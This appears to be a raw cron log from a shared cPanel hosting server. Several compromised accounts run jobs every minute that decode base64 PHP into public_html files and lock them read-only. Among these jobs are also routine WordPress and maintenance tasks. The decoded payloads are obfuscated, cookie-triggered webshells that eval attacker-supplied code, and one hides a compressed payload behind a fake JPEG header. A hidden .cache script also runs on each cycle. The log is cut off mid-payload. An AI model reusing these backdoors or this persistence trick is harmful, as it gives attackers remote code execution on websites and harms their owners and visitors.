Jun  7 08:47:01 medusa CROND[32635]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:47:01 medusa CROND[32642]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:47:01 medusa CROND[32643]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:47:01 medusa CROND[32645]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:47:01 medusa CROND[32649]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:47:01 medusa CROND[32650]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 08:48:01 medusa CROND[2129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:48:01 medusa CROND[2135]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:48:01 medusa CROND[2136]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:48:01 medusa CROND[2138]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:48:01 medusa CROND[2140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:48:01 medusa CROND[2143]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:48:01 medusa CROND[2144]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:48:01 medusa CROND[2146]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:48:01 medusa CROND[2155]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:48:01 medusa CROND[2156]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:48:01 medusa CROND[2157]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:48:01 medusa CROND[2158]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:48:01 medusa CROND[2160]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:49:02 medusa CROND[3667]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:49:02 medusa CROND[3697]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:49:02 medusa CROND[3698]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:49:02 medusa CROND[3699]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:49:02 medusa CROND[3700]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:49:02 medusa CROND[3701]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:49:02 medusa CROND[3703]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:49:02 medusa CROND[3702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:49:02 medusa CROND[3706]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgP